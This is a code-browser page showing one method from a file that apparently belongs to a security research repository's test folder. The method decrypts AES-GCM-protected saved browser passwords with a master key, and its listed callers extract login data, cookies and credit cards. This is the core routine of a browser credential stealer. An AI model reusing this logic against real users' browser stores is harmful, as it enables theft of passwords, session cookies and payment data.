MCPcopy Create free account
hub / github.com/cyberark/ByteCodeLLM / decrypt_password

Method decrypt_password

test/browsers.py:173–180  ·  view source on GitHub ↗
(self, buff: bytes, master_key: bytes)

Source from the content-addressed store, hash-verified

171 return master_key
172
173 def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
174 iv = buff[3:15]
175 payload = buff[15:]
176 cipher = AES.new(master_key, AES.MODE_GCM, iv)
177 decrypted_pass = cipher.decrypt(payload)
178 decrypted_pass = decrypted_pass[:-16].decode()
179
180 return decrypted_pass
181
182 def get_login_data(self, path: str, profile: str):
183 login_db = f'{path}\\{profile}\\Login Data'

Callers 3

get_login_dataMethod · 0.95
get_cookiesMethod · 0.95
get_credit_cardsMethod · 0.95

Calls

no outgoing calls

Tested by

no test coverage detected